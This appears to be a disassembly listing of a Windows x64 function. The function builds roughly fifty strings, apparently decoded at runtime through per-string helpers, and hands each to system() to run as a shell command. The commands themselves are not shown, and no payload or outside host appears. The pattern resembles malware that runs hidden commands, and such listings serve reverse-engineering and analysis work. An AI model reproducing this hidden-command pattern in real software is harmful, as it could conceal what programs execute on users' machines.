lea rdx, [rbp + 0x94d0]
lea rcx, [rsp + 0x30]
call fcn.140068f30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9420]
lea rcx, [rsp + 0x30]
call fcn.140069080
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9370]
lea rcx, [rsp + 0x30]
call fcn.1400691d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x92c0]
lea rcx, [rsp + 0x30]
call fcn.140069320
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xcf40]
lea rcx, [rsp + 0x30]
call fcn.140063ef0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd010]
lea rcx, [rsp + 0x30]
call fcn.1400640a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd0e0]
lea rcx, [rsp + 0x30]
call fcn.140064250
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd1b0]
lea rcx, [rsp + 0x30]
call fcn.140064400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd280]
lea rcx, [rsp + 0x30]
call fcn.1400645b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd350]
lea rcx, [rsp + 0x30]
call fcn.140064760
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd420]
lea rcx, [rsp + 0x30]
call fcn.140064910
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd4f0]
lea rcx, [rsp + 0x30]
call fcn.140064ac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd5c0]
lea rcx, [rsp + 0x30]
call fcn.140064c70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd690]
lea rcx, [rsp + 0x30]
call fcn.140064e20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd760]
lea rcx, [rsp + 0x30]
call fcn.140064fd0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd830]
lea rcx, [rsp + 0x30]
call fcn.140065180
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd900]
lea rcx, [rsp + 0x30]
call fcn.140065330
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd9d0]
lea rcx, [rsp + 0x30]
call fcn.1400654e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdaa0]
lea rcx, [rsp + 0x30]
call fcn.140065690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdb70]
lea rcx, [rsp + 0x30]
call fcn.140064400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdc40]
lea rcx, [rsp + 0x30]
call fcn.1400645b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdd10]
lea rcx, [rsp + 0x30]
call fcn.140064760
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdde0]
lea rcx, [rsp + 0x30]
call fcn.140064910
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdeb0]
lea rcx, [rsp + 0x30]
call fcn.140064ac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xdf80]
lea rcx, [rsp + 0x30]
call fcn.140064c70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe050]
lea rcx, [rsp + 0x30]
call fcn.140064e20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe120]
lea rcx, [rsp + 0x30]
call fcn.140064fd0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe1f0]
lea rcx, [rsp + 0x30]
call fcn.140065180
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe2c0]
lea rcx, [rsp + 0x30]
call fcn.140065330
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe390]
lea rcx, [rsp + 0x30]
call fcn.1400654e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe460]
lea rcx, [rsp + 0x30]
call fcn.140065690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2110]
lea rcx, [rsp + 0x30]
call fcn.140069470
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x14e0]
lea rcx, [rsp + 0x30]
call fcn.140069540
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1550]
lea rcx, [rsp + 0x30]
call fcn.140069610
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xee0]
lea rcx, [rsp + 0x30]
call fcn.1400696e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x10f0]
lea rcx, [rsp + 0x30]
call fcn.1400697a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x15c0]
lea rcx, [rsp + 0x30]
call fcn.140069860
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1630]
lea rcx, [rsp + 0x30]
call fcn.140069920
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xae0]
lea rcx, [rsp + 0x30]
call fcn.1400699e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1160]
lea rcx, [rsp + 0x30]
call fcn.140069aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x16a0]
lea rcx, [rsp + 0x30]
call fcn.140069920
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3220]
lea rcx, [rsp + 0x30]
call fcn.140069b60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x20a0]
lea rcx, [rsp + 0x30]
call fcn.140069c60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1ca0]
lea rcx, [rsp + 0x30]
call fcn.140069d30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9210]
lea rcx, [rsp + 0x30]
call fcn.140069e00
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9160]
lea rcx, [rsp + 0x30]
call fcn.140069f60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x90b0]
lea rcx, [rsp + 0x30]
call fcn.14006a0c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1c20]
lea rcx, [rsp + 0x30]
call fcn.14006a220
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2a10]
lea rcx, [rsp + 0x30]
call fcn.14006a2f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x89d0]
lea rcx, [rsp + 0x30]
call fcn.14006a3d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8920]
lea rcx, [rsp + 0x30]
call fcn.14006a530
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8870]
lea rcx, [rsp + 0x30]
call fcn.14006a690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0xeed0]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xeeb0]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xee70]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xee10]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xee50]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xeef0]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xefb0]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xee90]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xef10]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xee30]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xef30]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xef50]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xef70]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xef90]
call fcn.14004ebf0
mov rcx, qword [rbp + 0x11e90]
xor rcx, rsp
call fcn.14010ea20
lea r11, [rsp + 0x11fa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret